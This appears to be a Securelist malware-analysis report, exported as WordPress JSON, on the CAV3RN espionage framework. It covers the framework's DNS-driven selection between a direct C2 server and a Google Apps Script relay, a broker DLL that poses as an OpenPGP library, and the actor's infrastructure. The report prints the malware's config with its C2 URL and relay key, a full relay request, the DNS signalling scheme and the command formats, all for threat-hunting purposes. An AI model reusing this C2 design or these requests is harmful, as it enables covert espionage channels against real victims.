{"id":120991,"date":"2026-08-11T10:00:19","date_gmt":"2026-08-11T10:00:19","guid":{"rendered":"https:\/\/2.zoppoz.workers.dev:443\/https\/kasperskycontenthub.com\/securelist\/?p=120991"},"modified":"2026-08-11T11:11:49","modified_gmt":"2026-08-11T11:11:49","slug":"project-cav3rn-continues","status":"publish","type":"post","link":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/project-cav3rn-continues\/120991\/","title":{"rendered":"Project CAV3RN continues: Google Apps Script as C2 relay and DNS-based C2 channel selection"},"content":{"rendered":"

Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service<\/a>, and the second was published on Securelist<\/a> the following month, further documenting the framework’s evolving architecture and C2 capabilities.<\/p>\n

Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.<\/p>\n

We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.<\/p>\n

Multi-transport C2 communication module<\/h2>\n

The communication module, GoogleService.dll<\/code>, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:<\/p>\n

C:\\Users\\user\\Desktop\\Modules\\broker-cavern\\communication\\GoogleCommunication\\bin\\Release\\net8.0\\win-x64\\native\\GoogleService.pdb<\/pre>\n
NativeAOT data also revealed references to eight source files, including the Direct.cs<\/code>, FindMode.cs<\/code>, and Google.cs<\/code>.<\/p>\n
The DLL exports GroupByCategory<\/code>, CheckAvailability<\/code>, IsPrimeNumber<\/code>, and OrderByDate<\/code>. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability<\/code>. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93<\/code>. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93<\/code>, which the module expects and uses to learn the broker’s name before starting its C2 worker.<\/p>\n
C2 packets contain type, cid<\/code>, and payload<\/code> fields. Packets of the type icmgdd<\/code> are processed by the communication module itself, while other types, including broker<\/code>, are forwarded to the local broker. Within command payloads, _;;_ <\/code>separates the command from its arguments and _,_<\/code> separates individual arguments.<\/p>\n
At startup, the worker internally sends:<\/p>\n
{\"type\":\"icmgdd\",\"cid\":0,\"payload\":\"s_version_;;_\"}<\/pre>\n
The s_version<\/code> handler enumerates DLLs under AppContext.BaseDirectory<\/code>, collects their company names and versions, and appends the communication module’s name\/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC<\/code>, Base64-encoded, and sent as the module’s initial C2 report.<\/p>\n
The module supports five internal commands:<\/p>\n\n\n\n\n\n\n\n\n
Command<\/strong><\/td>\nFunctionality<\/strong><\/td>\n<\/tr>\n
s_version<\/td>\nReturns the DLL-version inventory described above. The command is executed automatically at startup.<\/td>\n<\/tr>\n
s_config<\/td>\nReturns the active configuration and, when provided with a JSON configuration object, replaces it in memory.<\/td>\n<\/tr>\n
s_enLog<\/td>\nEnables diagnostic logging at the Debug level.<\/td>\n<\/tr>\n
s_deLog<\/td>\nDisables diagnostic logging and sets the logging level to Fatal.<\/td>\n<\/tr>\n
s_write<\/td>\nBase64-decodes and GZip-decompresses provided data before writing it to the specified file path.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
The module reads conf.json<\/code> from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.<\/p>\n
{\r\n  \"to\": \"<generated seven-character ID>\", \/\/ Client ID\r\n  \"ad\": \"https:\/\/2.zoppoz.workers.dev:443\/https\/api.studiotikva.com\/api\/v1\/update\/check\", \/\/ Direct C2 URL\r\n  \"ho\": \"studiotikva.com\", \/\/ DNS domain\r\n  \"gi\": \"<redacted>\", \/\/ Apps Script deployment ID\r\n  \"de\": false, \/\/ Enable Debug logging at startup\r\n  \"mi\": 120000, \/\/ Poll-delay reset after a non-empty response\r\n  \"ma\": 18000000, \/\/ Progressive poll-delay cap\r\n  \"ri\": 30000, \/\/ Base DNS recovery\/error delay, with positive jitter\r\n  \"ga\": \"s3criitC0d3\/8-)B-,)\", \/\/ Apps Script relay authentication key\r\n  \"gu\": \"https:\/\/2.zoppoz.workers.dev:443\/https\/script.google.com\/macros\/s\/{0}\/exec\",\r\n  \"ua\": \"Mozilla\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\/537.31 (KHTML, like Gecko) Chrome\/26.0.1410.64 Safari\/537.31\",\r\n  \"mcc\": 50, \/\/ unknown\r\n  \"mtc\": 10 \/\/ unknown\r\n}\r\n<\/pre>\n
The s_config<\/code> command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json<\/code>.<\/p>\n
Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:<\/p>\n
<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com<\/code><\/p>\n
The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0<\/code> for None<\/code>, 1<\/code> for GIDFailed<\/code>, 2<\/code> for GoogleFailed<\/code>, and 3<\/code> for DirectFailed<\/code>. Each new transaction starts in state 0.<\/p>\n
The exact response 12.19.29[.]30<\/code> is treated as a rejection. Other responses are interpreted according to their fourth octet:<\/p>\n\n\n\n\n\n\n\n
Fourth octet<\/strong><\/td>\nNone (0)<\/strong><\/td>\nGIDFailed (1)<\/strong><\/td>\nGoogleFailed (2)<\/strong><\/td>\nDirectFailed (3)<\/strong><\/td>\n<\/tr>\n
120 (0x78)<\/td>\nGoogle Apps Script<\/td>\nDirect HTTPS<\/td>\nDirect HTTPS<\/td>\nGoogle Apps Script<\/td>\n<\/tr>\n
130 (0x82)<\/td>\nDirect HTTPS<\/td>\nDirect HTTPS<\/td>\nDirect HTTPS<\/td>\nClose the transaction (no channel)<\/td>\n<\/tr>\n
140 (0x8C)<\/td>\nException<\/td>\nException<\/td>\nException<\/td>\nException<\/td>\n<\/tr>\n
All other values<\/em><\/td>\nGoogle Apps Script<\/td>\nGoogle Apps Script<\/td>\nGoogle Apps Script<\/td>\nGoogle Apps Script<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
During analysis, valid .m<\/code> queries returned 12.121.234[.]120<\/code>, while malformed queries returned 12.19.29[.]30<\/code>. For example, YCZ2.41414141303030.m.studiotikva[.]com<\/code> carries state 2, so the final octet 120 selects Direct HTTPS.<\/p>\n
\"CAV3RN<\/a>
CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel<\/p><\/div>\n
When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com<\/code>. A mismatch causes the module to retrieve a replacement through .p<\/code> queries: <random5>.<hex-ID>.p.studiotikva[.]com<\/code>.<\/p>\n
\"DNS-based<\/a>
DNS-based deployment-ID freshness check<\/p><\/div>\n
The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102<\/code> represents 4A 41 4B 66<\/code>: a length of 74 followed by AKf<\/code>. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.<\/p>\n
\"DNS<\/a>
DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks<\/p><\/div>\n
One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ<\/code>. The .q<\/code> response 247.188.216[.]122<\/code> contains the bytes f7 bc d8 7a<\/code>, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.<\/p>\n
\"\"<\/a>
Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID<\/p><\/div>\n
Google Apps Script channel<\/h3>\n
When DNS selects Google mode, the module inserts the deployment ID into https:\/\/2.zoppoz.workers.dev:443\/https\/script.google[.]com\/macros\/s\/{deployment-ID}\/exec<\/code>.<\/p>\n
Direct GET requests return a decoy page titled My App<\/code> with the message This application is running normally<\/code>. C2 polling instead uses an outer POST to Apps Script whose \"m\":\"GET\"<\/code> field instructs the relay to issue a GET request to its upstream server:<\/p>\n
POST \/macros\/s\/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA\/exec HTTP\/1.1\r\nHost: script.google.com\r\nContent-Type: application\/json\r\n\r\n{\"k\":\"s3criitC0d3\/8-)B-,)\",\"m\":\"GET\",\"h\":{\"X-Client-Id\":\"AAAA000\",\"User-Agent\":\"Mozilla\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\/537.31 (KHTML, like Gecko) Chrome\/26.0.1410.64 Safari\/537.31\"},\"b\":null,\"ct\":null,\"r\":true}\r\n<\/pre>\n
The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:<\/p>\n
HTTP\/2 302\r\ncontent-type: text\/html; charset=UTF-8\r\naccess-control-allow-origin: *\r\nlocation: https:\/\/2.zoppoz.workers.dev:443\/https\/script.googleusercontent.com\/macros\/echo?user_content_key=AUkAhnT1XStTpObO\u2026&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR\r\nserver: GSE\r\n\r\nHTTP\/2 200\r\ncontent-type: application\/json; charset=utf-8\r\naccess-control-allow-origin: *\r\nserver: GSE\r\n\r\n{\"s\":200,\"h\":{\"Content-Type\":\"text\/html; charset=utf-8\",\"Vary\":\"Cookie\",\"Server\":\"nginx\",\"Content Length\":\"4\",\"Connection\":\"keep-alive\",\"Date\":\"Mon, 03 Aug 2026 20:07:54 GMT\",\"Access-Control-Allow-Origin\":\"*\"},\"b\":\"OS9FPQ==\"}\r\n<\/pre>\n
Decoding b<\/code> produces 9\/E=;<\/code> decoding it again produces f7 f1<\/code>, which XORs with 0xAC<\/code> to []<\/code>, indicating an empty task list. An upstream timeout also exposed https:\/\/2.zoppoz.workers.dev:443\/https\/api.studiotikva[.]com\/ac<\/code>, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.<\/p>\n
Direct HTTPS channel<\/h3>\n
When DNS selects Direct HTTPS, the module contacts the configured ad address, https:\/\/2.zoppoz.workers.dev:443\/https\/api.studiotikva[.]com\/api\/v1\/update\/check<\/code>, without using the relay. This occurs when the final octet is 130 (0x82)<\/code> in the None<\/code>, GIDFailed<\/code>, or GoogleFailed<\/code> states, or 120 (0x78)<\/code> in the GIDFailed<\/code> or GoogleFailed<\/code> states. The endpoint expects the custom X-Client-Id<\/code> header; requests without the expected header return {\"res\":\"failed\"}<\/code> in its HTTP response.<\/p>\n
However, a GET request carrying the correct X-Client-Id<\/code> value receives a 76-byte body as shown in the following figure:<\/p>\n
\"Wireshark<\/a>
GET request to the header-gated C2 endpoint and its encoded tasking response<\/p><\/div>\n
Base64-decoding the response body and XORing it with 0xAC<\/code> produced the following broker-directed task packet: [{\"type\":\"broker\",\"cid\":109,\"payload\":\"002_;;__,_\"}]<\/code>. The broker type instructs the communication module to forward the task to the local broker.<\/p>\n
Inter-component DLL broker<\/h2>\n
The inter-component broker, rnp.dll<\/code>, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\\Users\\user\\Desktop\\Modules\\broker-cavern\\1.out\\rnp.pdb<\/code>. It masquerades as the RNP OpenPGP library through numerous rnp_*<\/code> exports, while rnp_backend_string<\/code> starts the broker.<\/p>\n
The broker coordinates the framework’s DLL components. At startup, it creates the BROKER<\/code> control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory<\/code>, CheckAvailability<\/code>, IsPrimeNumber<\/code>, and OrderByDate<\/code>.<\/p>\n
The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.<\/p>\n
Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination><\/code>, while unavailable components return Err2::<destination><\/code>.<\/p>\n\n\n\n\n\n\n
Command<\/strong><\/td>\nFunction<\/strong><\/td>\n<\/tr>\n
000<\/td>\nLists loaded component names and versions<\/td>\n<\/tr>\n
001<\/td>\nLists every DLL path discovered by the scanner<\/td>\n<\/tr>\n
002<\/td>\nLists each loaded component’s path, name, and version<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
The 002_;;__,_<\/code> task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber<\/code> export and waits for its worker threads to stop before unloading the DLL.<\/p>\n
Infrastructure<\/h2>\n
Historical records show that studiotikva[.]com<\/code> was first registered in February 2024. Wayback Machine captures<\/a> show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.<\/p>\n
The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com<\/code> and ns2.studiotikva[.]com<\/code>, resolving to 144.172.115[.]17<\/code> and 144.172.104[.]82<\/code>. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (\u05ea\u05e7\u05d5\u05d5\u05d4) means “hope” in Hebrew.<\/p>\n
The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https:\/\/2.zoppoz.workers.dev:443\/https\/api.studiotikva[.]com\/ac<\/code>, revealing the actor-controlled backend endpoint.<\/p>\n\n\n\n\n
Domain<\/strong><\/td>\nRegistrar<\/strong><\/td>\nIP<\/strong><\/td>\nHosting<\/strong><\/td>\nASN<\/strong><\/td>\n<\/tr>\n
studiotikva[.]com
\napi.studiotikva[.]com
\nns1.studiotikva[.]com
\nns2.studiotikva[.]com<\/td>\n		Dynadot Inc<\/td>\n144.172.115[.]17
\n144.172.104[.]82<\/td>\n		RouterHosting LLC<\/td>\nAS 14956<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
Conclusions<\/h2>\n
Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services\u00a0\u2014 previously Outlook calendar events and now Google Apps Script\u00a0\u2014 the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.<\/p>\n
Indicators of compromise<\/h2>\n
Additional IoCs are available to customers of our <\/em>Threat Intelligence Reporting<\/em><\/a> service. For more details, contact us at <\/em>intelreports@kaspersky.com<\/em><\/a>.<\/em><\/p>\n
File hashes<\/h5>\n
904784c9943d019da332bea2cd03996f<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 CommunicationUxTheme.dll
\nf9156d42410c8a5429dec43329bd72e0<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 net.dll
\n2dcd4a8ac166404977cd3c48418a8cd9<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 rnp.dll
\n981c7404d31b8ce35ec88a6b290f354d\u00a0<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 GoogleService.dll
\n34d50eec364d920b8b5d885c9bc98607<\/a>\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0texture.dll<\/p>\n
Domains and IPs<\/h5>\n
studiotikva[.]com<\/a>
\napi.studiotikva[.]com<\/a>
\nns1.studiotikva[.]com<\/a>
\nns2.studiotikva[.]com<\/a>
\n144.172.115[.]17<\/a>
\n144.172.104[.]82<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
Project CAV3RN targets Israel with Google Apps Script C2 relays and DNS-based routing. Modular .NET NativeAOT framework blends C2 traffic with legitimate Google services to evade detection.<\/p>\n","protected":false},"author":[312],"featured_media":121005,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[6061,1044],"tags":[32,33,37,123,926,6251,6252,101,30],"threat-category":[4298],"coauthors":[354],"class_list":["post-120991","post","type-post","status-publish","format-standard","has-post-thumbnail","category-great-research","category-malware-descriptions","tag-google","tag-microsoft","tag-microsoft-windows","tag-malware-descriptions","tag-https","tag-google-apps-script","tag-openpgp","tag-dns","tag-malware-technologies","threat-category-cybersecurity","securelist-post"],"acf":[],"banners":"","hreflang":[{"hreflang":"x-default","url":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/project-cav3rn-continues\/120991\/"}],"featured_image":"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/11062112\/project-CAV3RN-continues_2-scaled.jpg","_links":{"self":[{"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/posts\/120991","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/users\/312"}],"replies":[{"embeddable":true,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/comments?post=120991"}],"version-history":[{"count":20,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/posts\/120991\/revisions"}],"predecessor-version":[{"id":121027,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/posts\/120991\/revisions\/121027"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/media\/121005"}],"wp:attachment":[{"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/media?parent=120991"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/categories?post=120991"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/tags?post=120991"},{"taxonomy":"threat-category","embeddable":true,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/threat-category?post=120991"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/coauthors?post=120991"}],"curies":[{"name":"wp","href":"https:\/\/2.zoppoz.workers.dev:443\/https\/api.w.org\/{rel}","templated":true}]}}